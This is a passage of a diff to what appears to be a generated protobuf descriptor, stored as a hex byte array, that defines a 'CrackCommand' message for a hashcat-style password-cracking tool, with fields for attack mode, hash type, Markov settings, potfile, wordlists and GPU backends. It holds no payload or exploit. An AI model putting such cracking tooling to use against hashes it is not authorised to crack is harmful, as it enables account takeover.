0x69, 0x6f, + 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, + 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, + 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, + 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, + 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, + 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, + 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, + 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, + 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, + 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, + 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, + 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, + 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, + 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, + 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, + 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, + 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, + 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, + 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, + 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, + 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, + 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, + 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, + 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, + 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, + 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, + 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, + 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, - 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, - 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, - 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, - 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, - 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, - 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, - 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, - 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, - 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, - 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, - 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, - 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, - 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, - 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, - 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, - 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, - 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, - 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, - 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, - 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, - 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, - 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, - 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, - 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, - 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, - 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, - 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, - 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, - 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, - 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, - 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, - 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, - 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, - 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, - 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, - 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, - 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, - 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, - 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, - 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, - 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, - 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, - 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, - 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, - 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, - 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, - 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, - 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, - 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, - 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, - 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, - 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, - 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, - 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, - 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, - 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, - 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, - 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, - 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, - 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, - 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, - 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, - 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, - 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, - 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, - 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, - 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 